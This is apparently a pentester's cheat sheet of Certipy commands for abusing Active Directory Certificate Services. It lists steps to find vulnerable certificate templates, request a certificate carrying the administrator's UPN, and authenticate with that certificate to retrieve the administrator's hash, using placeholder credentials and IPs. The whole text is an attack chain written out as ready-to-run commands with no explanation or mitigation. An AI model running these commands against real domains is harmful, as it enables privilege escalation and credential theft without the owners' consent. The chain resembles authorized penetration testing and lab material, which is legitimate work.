Certipy

Find Vulnerable Certificate

certipy find -vulnerable -stdout -u "[email protected]" -dc-ip 10.10.10.10 -p "Password123"

Request Certificate

certipy req -u "[email protected]" -p 'Password123' -target 'dc.qu35t.pw' -template BasicAuthentication -ca 'qu35t-DC-CA' -upn '[email protected]'

Get Hash From Certificate

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10